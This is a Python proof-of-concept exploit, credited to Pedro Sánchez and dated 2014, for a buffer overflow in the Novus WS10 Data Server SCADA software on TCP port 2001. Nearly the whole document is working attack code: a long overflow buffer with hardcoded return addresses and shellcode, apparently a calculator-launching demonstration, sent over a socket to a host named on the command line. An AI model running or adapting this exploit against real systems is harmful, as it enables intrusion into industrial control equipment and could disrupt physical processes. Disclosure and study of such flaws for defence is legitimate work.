WS10 Data Server SCADA Overflow

`## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC  
## Date: 09/23/2014  
## Author: Pedro Sánchez  
## Version: 1.83 (English)  
## Tested on: Windows 7 embedded.  
  
## Notified the vendor, vendor never responded.  
## In the new version this PoC stops working  
  
## Vendor: Novus  
## http://www.novus.com.br  
  
## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation  
  
import os  
import socket  
import sys  
  
## The process listens on TCP port 2001  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
  
print " PoC WS10 Data Server SCADA Exploit "  
print " Pedro Sanchez "  
  
shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90")  
  
## Exploit contructor  
  
ws10 = ("\x90" * 1024 + "\x44" * 31788)  
ws10 += ("\xeb\x14")  
ws10 += ("\x44" * 6)  
ws10 += ("\xad\xbb\xc3\x77")  
ws10 += ("\xb4\x73\xed\x77")   
ws10 += ("\x90" * 21)  
ws10 += shellcode  
  
  
print " [+] Sending payload..."  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
s.connect((host,port))  
s.send(ws10)   
data = s.recv(1024)  
  
print " [+] Closing..."  
s.close()   
print " [+] Done!"  
  
`